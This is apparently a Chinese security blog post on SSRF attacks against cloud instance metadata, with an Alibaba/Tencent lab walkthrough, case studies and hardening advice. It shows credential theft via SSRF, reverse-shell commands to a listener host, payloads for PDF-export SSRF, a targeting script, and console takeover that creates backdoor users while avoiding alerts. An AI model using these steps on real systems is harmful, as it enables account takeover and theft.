当前位置: 首页 > news >正文

SSRF漏洞给云服务元数据带来的安全威胁

文章目录

  • 前言
  • 元数据服务威胁
    • 1.1 Metadata元数据
    • 1.2 RAM资源管理角色
    • 1.3 STS 临时凭据利用
    • 1.4 CF云环境利用框架
    • 1.5 元数据安全性增强
  • TerraformGoat
    • 2.1 永久性AccessKey
    • 2.2 SSRF靶场环境搭建
    • 2.3 腾讯云CVM配角色
    • 2.4 接管腾讯云控制台
  • SSRF组合拳案例
    • 3.1 上传图片功能SSRF
    • 3.2 文件导出功能SSRF
  • 总结

前言

云服务器的实例元数据是指在实例内部通过访问元数据服务(Metadata Service)获取的实例属性等信息,如实例 ID、VPC 信息、网卡信息。元数据包含实例角色所对应的临时凭据的情况下,如果服务器所搭载的对外业务服务存在 SSRF 漏洞,将造成云服务器可被攻击者接管的风险。本文来具体实践、学习下 SSRF 漏洞给云服务元数据带来的安全威胁。

元数据服务威胁

在针对云上业务的的攻击事件中,很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。

以 2019 年的美国第一资本投资国际集团(CapitalOne)信息泄露事件举例,根据《ACase Study of the Capital One Data Breach》报告指出,攻击者利用 CapitalOne 部署在 AWS 云上实例中的 SSRF 漏洞向元数据服务发送请求并获取角色的临时凭证,在获取角色临时凭据后将该角色权限下的 S3 存储桶中的数据复制到攻击者的本地机器上,最终导致这一严重数据泄露事件的产生,这一事件影响了北美超过1亿人。CapitalOne 的股价在宣布数据泄露后收盘下跌 5.9%,在接下来的两周内总共下跌了 15%。CapitalOne 信息泄露事件攻击原理图,可参见图:
imagepng

1.1 Metadata元数据

由于腾讯云不给我提供免费试用的云服务器,下文选用阿里云 ECS 服务进行学习和演示,实际上不同云服务商的元数据服务管理大同小异。

参见阿里云官方文档:《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》,可以获知元数据的含义:

ECS 实例元数据:是指在 ECS 实例内部通过访问元数据服务(Metadata Service)获取的实例属性等信息,如实例 ID、VPC 信息、网卡信息。通过元数据服务,您无需登录控制台或调用 API,在实例内部即可获取实例信息,可以更便捷、安全地配置或管理正在运行的实例或实例上的程序。例如,在基于 ECS 实例的应用程序中,通过元数据获取实例 RAM 角色的临时访问凭证,以安全地访问相关授权资源(比如访问 OSS 下载文件)。

【元数据的使用限制】

  1. 仅网络类型为专有网络 VPC 的 ECS 支持实例元数据功能。
  2. 仅支持在实例内部访问元数据服务器来获取实例元数据,且实例需处于运行中状态。
  3. 单实例高频访问元数据服务器获取元数据,可能会导致限流。在高频访问场景下,建议缓存已获取的实例元数据。以 RAM 临时安全凭证为例,获取到凭证后建议将其缓存,并在凭证接近过期时间前重新获取新的凭证,以避免因频繁访问实例元数据服务器而导致的访问限流。

获取实例元数据

# 普通模式下获取,其中<metadata>:需替换为具体要查询的实例元数据,可查阅实例元数据列表
curl http://100.100.100.200/latest/meta-data/<metadata># 加固模式下获取
# 获取访问元数据服务器访问凭证,需设置有效期,不可包含标头X-Forwarded-For
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:<元数据服务器访问凭证有效期>"`
# 获取实例元数据
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/<metadata>

各个云厂商都有自己的元数据 metadata,下面给出部分云厂商的元数据访问地址:

阿里云元数据地址:http://100.100.100.200/latest/meta-data/ram/security-credentials/${role-name}
腾讯云元数据地址:http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/

从上述阿里云官方文档的描述可以看出几点关键信息:

  1. 元数据数据中包含敏感的实例 RAM 角色的临时访问凭证;
  2. 但是仅允许在实例内部通过请求内网地址来访问实例的元数据信息;
  3. 阿里云为 ECS 云服务器实例提供了加固模式下获取元数据的方式,进一步规避元数据泄露风险。

Metadata 元数据的核心威胁?

由于元数据服务部署在链路本地地址上,云厂商默认没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的 SSRF 漏洞对实例的元数据服务进行访问。

因此,如果实例中应用中存在 SSRF 漏洞,那么元数据服务将会完全暴露在攻击者面前。在实例元数据服务提供的众多数据中,有一项数据特别受到攻击者的青睐,那就是角色的临时访问凭据。这将是攻击者由 SSRF 漏洞到获取实例控制权限的桥梁。

1.2 RAM资源管理角色

上文提到获取元数据敏感的数据是实例 RAM 角色的临时访问凭证,RAM(Resource Access Management)资源访问控制是阿里云提供的一项管理用户身份与资源访问权限的服务。参见官方文档《什么是RAM角色_访问控制(RAM)-阿里云帮助中心》可知:

RAM 角色是一种虚拟用户,可以被授予一组权限策略。与 RAM 用户不同,RAM 角色没有永久身份凭证(登录密码或访问密钥),需要被一个可信实体扮演。扮演成功后,可信实体将获得 RAM 角色的临时身份凭证,即安全令牌(STS Token),使用该安全令牌就能以 RAM 角色身份访问被授权的资源。

在 Metadata 元数据中危害最大的莫过于能够获取到云服务器对应的 sts(Security Token Service),通过 sts 最大危害能够接管控制台,如从云服务器 SSRF 漏洞到接管阿里云控制台。但在使用该攻击方法之前,我们需要知道 ECS 本身是不存在 RAM 的,通过具体的 ECS 云服务器实例来看下。

先申请阿里云免费试用(新用户)的 ECS 云服务器(https://www.aliyun.com/daily-act/ecs/activity_selection):
imagepng
imagepng
登录 ECS 服务器实例,请求访问元数据:
imagepng
从返回的路径可以看出当前 Metadata 元数据资源中不包含 ram 子路径,此时请求 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 自然也是不包含 RAM 凭据信息的:
imagepng
如果我们需要让 ECS 拥有 RAM,并且让我们去利用 metadata 进行渗透,那么就首先需要去给对应的服务器授予一个 RAM 角色,我们访问阿里云控制台,搜索访问控制或直接访问https://ram.console.aliyun.com/roles,并点击创建角色,选择“阿里云服务角色”:
imagepng
在配置角色上,选择普通服务角色,并选择受信服务为云服务器:
imagepng

点击完成,然后访问阿里云控制台,搜索 ECS 或访问直接 https://ecs.console.aliyun.com/,点击实例,并且为服务器授予刚刚创建的 RAM 角色:
imagepng

imagepng
然后再次请求访问元数据,就会发现已经存在 ram 路径和 RoleTest 这个 ram 角色了( http://100.100.100.200/latest/meta-data/ram/security-credentials/),并进一步获得临时凭证(http://100.100.100.200/latest/meta-data/ram/security-credentials/RoleTest):
imagepng
但是,拿到临时凭证不意味着就可以直接控制服务器实例,还取决于该临时凭证所对应的角色所拥有的权限

回到访问控制页面(https://ram.console.aliyun.com/roles),在角色栏中找到 RAM 角色 RoleTest,可以发现,此角色创建后是默认没有什么权限的:
imagepng
这意味着如果 RAM 角色没有被授权,哪怕拿到了临时凭证也没有任何作用,Metadata 渗透的成果取决于 RAM 角色的权限大小。反过来,只要 RAM 角色的权限足够大,即使它只是个 STS 凭证,也能够造成足够威力的破坏。可以看到给角色新增授权的时候可以选择 AdministratorAccess,使得拥有该角色的账户具备管理所有阿里云资源的权限。
imagepng
小结一下,访问管理的角色是拥有一组权限的虚拟身份,用于对角色载体授予云中服务、操作和资源的访问权限。用户可以将角色关联到云服务器实例。为实例绑定角色后,将具备以下功能及优势:

  1. 可使用 STS 临时密钥访问云上其他服务;
  2. 可为不同的实例赋予包含不同授权策略的角色,使实例对不同的云资源具有不同的访问权限,实现更精细粒度的权限控制;
  3. 无需自行在实例中保存 SecretKey,通过修改角色的授权即可变更权限,快捷地维护实例所拥有的访问权限;

具体的操作流程如下:
imagepng
在将角色成功绑定实例后,用户可以在实例上访问元数据服务来查询此角色的临时凭据,并使用获得的临时凭据操作该角色权限下的云服务 API 接口。

1.3 STS 临时凭据利用

每个云服务厂商都会提供对应的云服务器客户端管理工具,拿到临时凭证后可以下载对应的客户端管理工具来管理云服务器实例。此处阿里云 ECS 服务器实例的话使用原生的阿里云 CLI 工具,可以到官网下载(含使用指导):《安装指南_阿里云CLI(CLI)-阿里云帮助中心》。

本人选择安装到 VPS,安装后首先需要配置 STS Token 凭证:

aliyun configure --profile stsTokenProfile --mode StsToken

imagepng
接下来对 ECS 的管理,可使用 aliyun ecs help 命令即可获取帮助信息,也可以参考《 通过CLI使用和管理ECS实例及其示例_云服务器 ECS(ECS)》:

aliyun ecs <ApiName> --parameter1 value1 --parameter2 value2 ...

在这里插入图片描述

比如执行 aliyun ecs DescribeInstances 可查询实例信息:
imagepng
此处本人参考《创建云助手命令_云服务器 ECS(ECS)-阿里云帮助中心》构造命令和参数,借助 aliyun-cli 执行任意命令来反弹 Shell:

# 1、创建命令(CommandContent 参数是将要执行的命令的bash64值,其他参数含义请参见官方文档):
aliyun ecs CreateCommand --Type 'RunShellScript' --RegionId 'cn-beijing' --Name 'shell' --CommandContent 'L2Jpb********************JjE='
# 2、执行命令:
aliyun ecs InvokeCommand --RegionId 'cn-beijing' --Timed 'false' --InstanceId.1 'i-2ze8lk********' --CommandId 'c-bj04ak********'

imagepng
发现成功在 VPS 上反弹 Shell,顺利接管 ECS 服务器:
imagepng
值得一提的是,此过程中阿里云安全中心(云盾:https://yundun.console.aliyun.com/)给出了两条告警(发送了告警手机短信),及时识别出了认证凭据泄露和服务器实例执行危险指令的安全风险:imagepng
其他厂商的 MetaData 数据泄露凭证后的利用方式大致同上,参见具体的官方指导文档即可。

1.4 CF云环境利用框架

针对不同厂商泄露 AK、SK 凭证后不同的 API 调用方式,给攻击利用增加了不少成本,需要大量阅读官方指导文档才行。teamssix 大佬开发了集成多个云服务厂商通用的渗透测试工具:https://github.com/teamssix/cf,同时提供了官方指导 Wiki 文档:https://wiki.teamssix.com/cf/。

CF 即 Cloud Exploitation Framework 云环境利用框架的简称,方便安全人员在获得 AK 的后续工作。适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。可惜该工具已经被作者转为闭源私有仓库了,需私聊作者获取。

接下来看看如何通过 cf 工具快速利用获取到的元数据凭证数据接管阿里云 ECS 服务器。

[root@hwc-hwp-587401-751218 CF]# ./cf▄████   ▐████▄██▀        ▀██      ██████╗    ███████╗▀▀          ▀▀     ██╔════╝    ██╔════╝▀▀▀▀▀▀▀▀▀▀       ██║         █████╗▄▄          ▄▄     ██║         ██╔══╝██▄        ▄██     ╚██████╗    ██║▀████   ▐████▀      ╚═════╝    ╚═╝github.com/teamssix/cf
当前 CF 版本是内部版本,请勿对外转发。
CF 是一个云环境利用框架工具,请在获得目标授权的情况下利用此工具。Usage:cf [command]
Available Commands:about        关于作者alibaba      执行与阿里云相关的操作aws          执行与 AWS 相关的操作completion   Generate the autocompletion script for the specified shellconfig       配置云服务商的访问密钥help         Help about any commandhuawei       执行与华为云相关的操作tencent      执行与腾讯云相关的操作version      输出 CF 的版本和更新时间Flags:-h, --help              help for cf--logLevel string   设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")Use "cf [command] --help" for more information about a command.
[root@hwc-hwp-587401-751218 CF]#

1、 先执行 ./cf config 进行云服务商的访问密钥的配置:
在这里插入图片描述
2、 一键列出当前访问凭证的云服务资源 ./cf alibaba ls
imagepng
3、 然后可执行 ./cf alibaba perm 来列出当前 RAM 角色的权限,即一键列出当前访问凭证的权限:

[root@hwc-hwp-587401-751218 CF]# ./cf alibaba perm
? 枚举可能会导致 AK 被禁用,是否继续? Yes
[2024-02-04 11:24:37]  INFO 当前用户名为 roletest (Current username is roletest)
[root@hwc-hwp-587401-751218 CF]#

上面执行结果跟作者 Teamssix 给出的执行结果样例差距较大(暂不知道原因),正常应该列出当前凭据的角色对应的权限新,如下所示:

4、 查看 CF 为实例执行命令的操作的帮助信息:

[root@hwc-hwp-587401-751218 CF]# ./cf alibaba ecs exec -h
在实例上执行命令 (Execute the command on the instance)
Usage:cf alibaba ecs exec [flags]Flags:-i, --InstanceId string         指定实例 ID (Specify Instance ID) (default "all")-a, --allRegions                使用所有区域,包括私有区域 (Use all regions, including private regions)-b, --batchCommand              一键执行三要素,方便 HW (Batch execution of multiple commands used to prove permission acquisition)-c, --command string            设置待执行的命令 (Set the command you want to execute)-f, --file string               设置待执行的命令文件 (Set the command file you want to execute)-h, --help                      help for exec--lhost string              设置反弹 shell 的主机 IP (Set the ip of the listening host)--lport string              设置反弹 shell 的主机端口 (Set the port of the listening host)-m, --metaDataSTSToken          一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)-r, --region string             指定区域 ID (Specify region ID) (default "all")-s, --scriptType string         设置执行脚本的类型 (Specify the type of script to execute) [sh|bat|ps] (default "auto")-t, --timeOut int               设置命令执行结果的等待时间 (Set the command execution result waiting time) (default 60)-u, --userData                  一键获取实例中的用户数据 (Get the user data on the instance)--userDataBackdoor string   用户数据后门,需要输入后门命令 (User data backdoor requires inputting the backdoor command)Global Flags:--flushCache        刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)--logLevel string   设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")
[root@hwc-hwp-587401-751218 CF]#

执行任意命令:

./cf alibaba ecs exec -i i-2zeXXXXX(实例ID) -c 'whoami && id'

imagepng
在 CF 中执行反弹 Shell 命令(同样会触发了阿里云云盾的安全告警):

cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444 -i i-abXXXXXX(实例ID)参数释义:--lhost 参数配置为自己监听主机的 IP--lport 参数配置为自己的监听端口-i      设置要反弹 Shell 的实例 ID(如果未指定具体的实例,则 CF 会提醒是否是选择全部实例还是某个实例

imagepng
imagepng
imagepng
5、接下来上大招,在当前访问凭证至少拥有 AliyunRAMFullAccess 权限的情况下,可以借助 CF 工具一键接管控制台,接管控制台的时候默认会创建一个管理员后门用户:

# 一键接管控制台,会创建后门用户,可登录阿里云Web控制台
cf alibaba console
# 如果不想使用默认用户名,可以通过 -u 参数指定新建用户名
cf alibaba console -u Tr0e# 取消接管控制台,后门用户也会随之删除
cf alibaba console cancel

imagepng
为了避免一键创建后门账户触发云盾告警,CF 默认创建的账户并未具备高权限:
imagepng
但是我们可以通过 https://ram.console.aliyun.com/users 给自己账户添加完全管理权限来接管整个云资源:
imagepng
imagepng
imagepng
以上过程则不会触发云盾的告警,最后别忘了删除后门账户。
imagepng
关于 CF 其他功能用法以及对其它云服务厂商的利用,请参见作者提供的官方 Wiki 文档,不再赘述。

1.5 元数据安全性增强

从阿里云官方文档:《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》可以看出,阿里云为元数据提供了加固模式:
imagepng
加固模式下获取元数据:

# 获取访问元数据服务器访问凭证,需设置有效期,范围为1秒~21600秒(6小时),不可包含标头X-Forwarded-For
TOKEN = `curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:<元数据服务器访问凭证有效期>"`
# 获取实例元数据
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/<metadata>

imagepng
可以看出,加固模式下实例和实例元数据服务器之间通过 PUT 请求来建立一个会话,并在查看实例元数据时通过 Token 验证身份,超过有效期后关闭会话并清除 Token。由于 SSRF 漏洞的 HTTP 请求正常情况下无法满足发起 PUT 请求的条件,故可以保障云服务器的业务存在 SSRF 漏洞的情况下不被攻击者轻易利用来获取敏感的元数据。

在已经创建好的 ECS 实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions,将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。
imagepng
imagepng
但是阿里云默认是同时提供普通模式和加固模式来获取元数据的,也就意味着这是一个“默认不安全”的安全增强机制。同时当攻击者通过其他漏洞(例如 RCE 漏洞)获取实例的控制权之后,元数据的加固模式带来的安全机制将变得形同虚设。因为攻击者可以在实例上发送 PUT 请求获取 token,随后利用获得的 token 获取角色临时凭据,最后利用角色临时凭据访问角色绑定的一切云业务,具体流程见下图:
imagepng
总之,当攻击者通过 RCE 漏洞获取实例控制权后,可以通过元数据服务获取到的临时凭据进行云服务的横向移动。攻击者也可以查看服务器上其他业务的 AK、SK 等敏感凭据,比如对象存储服务、数据库服务器的配置文件,进而接管更多服务器实例。鉴于云厂商产品 API 功能的强大性,在获取角色临时凭据后,可能造成及其严重的影响值得注意的是,如果在云平台控制台中执行一些高危行为,平台默认都会需要进行手机验证。但通过使用临时凭据调用发送请求调用API接口,并不需要手机验证码,可以绕过这项安全检测。

TerraformGoat

TerraformGoat 是火线安全团队提供的一个支持多云的云场景漏洞靶场搭建工具(https://github.com/HXSecurity/TerraformGoat/),目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。下文将借助该工具搭建一个腾讯云的 SSRF 云靶场环境,演示如何借助 SSRF 漏洞接管腾讯云控制台。本来是要搭建阿里云 SSRF 环境的,但是报错了,成功案例参见:《从云服务器 SSRF 漏洞到接管你的阿里云控制台》。

2.1 永久性AccessKey

TerraformGoat 搭建阿里云靶场时需要配置 AccessKey,此 AccessKy 并不是上文提到的元数据认证信息里面的临时凭据,AccessKey(简称AK)是阿里云提供给阿里云用户的永久访问密钥,用于通过开发工具(API、CLI、SDK、Cloud Shell、Terraform 等)访问阿里云时的身份验证,不用于控制台登录。AccessKey 包括 AccessKey ID 和 AccessKey Secret,需要一起使用,请妥善保管。具体如下:

  1. AccessKey ID:用于标识用户;
  2. AccessKey Secret:用于验证用户的密钥。AccessKey Secret 必须保密;

官方文档《阿里云AccessKey如何创建_访问控制(RAM)-阿里云帮助中心》给出了创建 AccessKey 的方法,先创建好备用:
imagepng
imagepng
腾讯云的 AccessKey 获取方式(https://console.cloud.tencent.com/cam/capi)也一样:
imagepng

2.2 SSRF靶场环境搭建

参见官方中文指导文档:https://github.com/HXSecurity/TerraformGoat/blob/main/README_CN.md。

TerraformGoat 使用 Docker 镜像部署,根据你使用到的云服务提供商,选择对应的安装命令。阿里云下的环境搭建:

docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker run -itd --name terraformgoat_aliyun_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker exec -it terraformgoat_aliyun_0.0.7 /bin/bash

进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey:

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure

imagepng
接着可以开始正式部署、初始化 SSRF 靶场环境:

terraform init
terraform apply

结果搭建失败(原以为是因为免费版的导致失败,结果购买了按量付费的新的实例依旧初始化靶场失败,原因不详……):
imagepng
更换为腾讯云的 SSRF 靶场(指导文档:https://github.com/HXSecurity/TerraformGoat/blob/main/tencentcloud/cvm/cvm_ssrf/README_CN.md):

# 1、拉取腾讯云靶场
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker run -itd --name terraformgoat_tencentcloud_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker exec -it terraformgoat_tencentcloud_0.0.7 /bin/bash# 2、完成密钥配置与 SSRF 靶场初始化设置,在 terraform.tfvars 文件填入腾讯云 AccessKey
cd /TerraformGoat/tencentcloud/cvm/cvm_ssrf
vim terraform.tfvars
terraform init
terraform apply# 3、实验最后的环境销毁
terraform destroy

imagepng
额……充值 10 块试试,终于搭建成功了!
imagepng
这个过程中靶场借助我提供的 AccessKey 为我自动购买了一个新的按量计费腾讯云服务器实例并搭建了 SSRF 环境(细思极恐)……最后给出了一个公网地址的 SSRF 链接:
imagepng
imagepng
在存在 SSRF 漏洞的 CVM 服务器实例上,我们可以利用 SSRF 读取 CVM 的元数据信息:

# 读取腾讯云的元数据
http://metadata.tencentyun.com/latest/meta-data/

imagepng
但是没有看到具备角色的 ram/ 路径,无法获取临时凭证,需要我们进一步手工给服务器实力配置角色和权限。

腾讯云元数据官方指导文档:《云服务器 查看实例元数据-操作指南-文档中心-腾讯云》。

2.3 腾讯云CVM配角色

腾讯云 CVM 服务器实例的角色配置跟阿里云 ECS 服务器大同小异,角色管理地址:https://console.cloud.tencent.com/cam/role。
imagepng
新建角色 tr0e,角色配置选择“腾讯云产品服务–云服务器–AdministratorAccess”:
imagepng
imagepng
imagepng
imagepng
然后给 CVM 服务器实例授予该角色:
imagepng
imagepng
此时再到 SSRF-Lab 访问实例的元数据,就可以看到 CVM 服务器实例的 CAM 角色所生成的临时凭证了(TmpSecretKey、Token 等字段):

# 读取腾讯云的元数据
http://metadata.tencentyun.com/latest/meta-data/# 读取腾讯云的元数据中的会话凭据
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/tr0e

imagepng
在上述获得的凭据信息中看到了 Expiration 字段,回顾下跟上文 Accesskey 的最大区别就是角色的会话凭证是有时效性的:
imagepng
安全风险提醒

注意由于是暴露在公网的靶场,所以务必要要小心谨慎,即使清除靶场环境……上述 AdministratorAccess 的角色策略决定了其相应实体的会话凭据泄露足以导致整个腾讯云控制台被接管,也就是你名下所有腾讯云服务器资源都可以被控制。

实际上我们完全给腾讯云 CVM 实例授予角色后在实例内部访问元数据地址来获得临时凭据,并进行下一步的漏洞利用。为了避免公网靶场导致自己的腾讯云控制台被接管,先回到 TerraformGoat 容器内销毁腾讯云 SSRF 靶场实例:

terraform destroy

imagepng
将自动销毁创建的腾讯云 CVM 服务器实例并退还冻结资金:
imagepng
然后重新手动创建并 购买一个按量计费的腾讯云 CVM 服务器实例 即可:
imagepng
imagepng
至于给新的实例进行角色授权配置的过程则不再赘述,通过新实例访问元数据中的临时凭据:
imagepng

2.4 接管腾讯云控制台

接下来看看如何通过腾讯云 SSRF 漏洞窃取到实例的临时会话凭证后,完成腾讯云控制台的接管。漏洞利用过程可以直接使用 CF 框架进行利用,也可以使用腾讯云官方提供的客户端管理工具 TCCLI:《命令行工具 产品简介-文档中心-腾讯云》。TCCLI 是管理腾讯云资源的统一工具,通过腾讯云命令行工具,您可以快速轻松的调用腾讯云 API 来管理您的腾讯云资源,进行无图形页面操作腾讯云资源。

TCCLI 的具体用法请参见官方指导文档(似乎不支持直接配置 CVM 实例所在角色对应的临时凭证),下文将借助 CF 框架一键完成腾讯云控制台的接管。

[root@hwc-hwp-587401-751218 CF]# ./cf tencent
执行与腾讯云相关的操作
Usage:cf tencent [command]Available Commands:console      一键接管控制台 (Takeover console)cvm          执行与弹性计算服务相关的操作 (Perform cvm-related operations)lh           执行与轻量计算服务相关的操作 (Perform lh-related operations)perm         列出当前凭证下所拥有的权限 (List access key permissions)regions      列出可用区域 (List available regions)uninstall    一键卸载云镜 (Uninstall Agent)Flags:-h, --help   help for tencentGlobal Flags:--logLevel string   设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")
Use "cf tencent [command] --help" for more information about a command.
[root@hwc-hwp-587401-751218 CF]#

先进行认证凭据的配置:
imagepng
一键接管控制台:
imagepng
登录腾讯云控制台接管账户:
imagepng
imagepng
最后,借助 CF 删除创建的后门账户,并清除 CVM 角色,避免被入侵,没有使用需求的情况下销毁服务器实例,避免耗费资金。
imagepng
imagepng
值得一提的是,上述 CF 利用全程腾讯云安全防护中心(免费版)均为发生告警信息(这个比起阿里云云盾的风险识别能力还是相差较大的):
imagepng

SSRF组合拳案例

下文将记录的是从网上优秀博文提取的借助 SSRF 漏洞获取云服务器 Metadata 敏感元数据并接管目标服务器的实例,以提供一些实战过程中漏洞挖掘思路。

3.1 上传图片功能SSRF

源于 Teamssix 大佬的《我用 CF 打穿了他的云上内网》。
通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片:

然后我们读取返回的文件地址,通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg,说明这里确实存在 SSRF 漏洞。

通过查询该域名所属 IP,发现该站点位于云上,那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息,但是这样每次获取数据都要手动发两个数据包就很麻烦,所以这里简单搞个脚本。

import sys
import requestsssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)print(req2.text)

通过查询该站点的 IP 得知该站点位于阿里云上,阿里云的元数据地址为 http://100.100.100.200/latest/meta-data,我们尝试获取一下。

可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 ram/目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。我们一步步打开 ram/ 目录,在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。

接下来就是借助 CF 工具开展云上的横向渗透利用了,具体请参见原文。

3.2 文件导出功能SSRF

本小节源于:《奇安信攻防社区-文件导出功能的SSRF》。
有些网站存在功能,能够将一些将数据分析的表格导出为 pdf 或者图片,如下 POST 数据包,html 文件就是我们要导出的内容,而这里存在 ssrf 漏洞:
imagepng
我们将 html 内容修改为:

<svg><iframe src="http://123312.h41t0y.dnslog.cn" width=" " height=" "/></svg>

imagepng
可以看到成功触发了 dnslog 请求,说明此处是存在 SSRF 漏洞的。
imagepng
当一些特殊标签比如<svg>,<Iframe>等被禁用后,我们可以使用 <meta>0 秒刷新请求元数据,以下为具体 payload:

<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />

那么目标服务器的metadata信息就会打印在输出的 PDF 文件上:
imagepng
imagepng
其他可供参考学习的思路与案例:

  1. 《印象笔记 价值 5000$的SSRF 案例分析 | CTF导航》;
  2. 《翻译文章 | 将SSRF升级为通过 aws 元数据访问所有用户 PII 信息》;

总结

本文讲述了云服务厂商的云服务器实例提供的元数据服务所面临的安全威胁,如果云服务器存在 SSRF 漏洞导致元数据中实例具备的角色所对应的临时凭据谢泄露,那么攻击者可以通过云服务厂商提供的客户端管理工具或者 CF 云环境利用工具,非法调用受害者的云服务实例 API,甚至创建后门账户接管云服务管理台,接管受害者的所有云服务资源。作为云服务器的运维人员,应当在规避对外业务 SSRF 漏洞的同时,避免对服务器实例授予过高权限的角色。

下面引用 Teamssix 大佬的《从云服务器 SSRF 漏洞到接管你的阿里云控制台》的精辟总结(Respect):

上述方法在实战中想要使用是有一些前提的,主要前提有以下两个:

  1. ECS 实例(腾讯云是 CVM) 需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404;
  2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限;

在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。

总的来说,云上攻防和常规的内网攻防还是十分不一样的。

  1. 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
  2. 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
  3. 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。

最后,更多的云服务安全攻防资料可参见:《攻防矩阵 | 云安全知识库》、《Awesome Cloud Security 云安全资源汇总》。

本文相关的参考文章:

  1. 阿里云 ECS 弹性计算服务攻防 | 云安全知识库;
  2. 浅谈阿里云ECS渗透之元数据;
  3. Cloud RedTeam视角下元数据服务攻防实践;
  4. 浅谈云上攻防之:元数据服务带来的安全挑战-安全客;
  5. 我用 CF 打穿了他的云上内网_cf内网穿透-CSDN博客;

相关文章:

SSRF漏洞给云服务元数据带来的安全威胁

文章目录 前言元数据服务威胁1.1 Metadata元数据1.2 RAM资源管理角色1.3 STS 临时凭据利用1.4 CF云环境利用框架1.5 元数据安全性增强 TerraformGoat2.1 永久性AccessKey2.2 SSRF靶场环境搭建2.3 腾讯云CVM配角色2.4 接管腾讯云控制台 SSRF组合拳案例3.1 上传图片功能SSRF3.2 文…...

【C++】强制类型转换

强制类型转换分为显式和隐式 显式直接用小括号强制转换&#xff0c;float b (int)a; 隐式直接 float b 0.5; int a b; C中更推荐用四个强制类型转换的关键字&#xff1a; 1、static_cast&#xff0c; 2、const_cast&#xff0c; 3、reinterpret_cast&#xff0c; 4、dynami…...

java日志框架总结(四 、JCL日志门面技术)

日志框架出现的历史顺序&#xff1a;Log4j → JUL → JCL → slf4j → logback → log4j2 一、背景 在前面博文中&#xff0c;我们分别讲述了常用的2个日志框架&#xff1a;JUL&#xff08;Java Util Logging&#xff09;、Log4J。那么如何选择使用哪一个呢&#xff1f; 根据项…...

mfc140.dll丢失的几种修复方式,有效的解决文件丢失问题

mfc140.dll是Microsoft Foundation Class (MFC)库中的一个非常重要的DLL文件。它承载了许多被执行程序使用的函数和资源。这个库主要被广泛应用于开发Windows操作系统上的应用程序。然而&#xff0c;有时候我们可能会遭遇到mfc140.dll缺失或损坏的情况&#xff0c;这会导致依赖…...

从一个小故事讲解观察者模式~

定义对象间的一种一对多的依赖关系&#xff0c;当一个对象的状态发生改变时&#xff0c;所有依赖于它的对象都得到通知并被自动更新。 什么是观察者模式&#xff1f; 观察者模式在我们的日常生活中极其常见。 先来看看观察者模式的定义&#xff1a; 观察者模式定义了对象之间…...
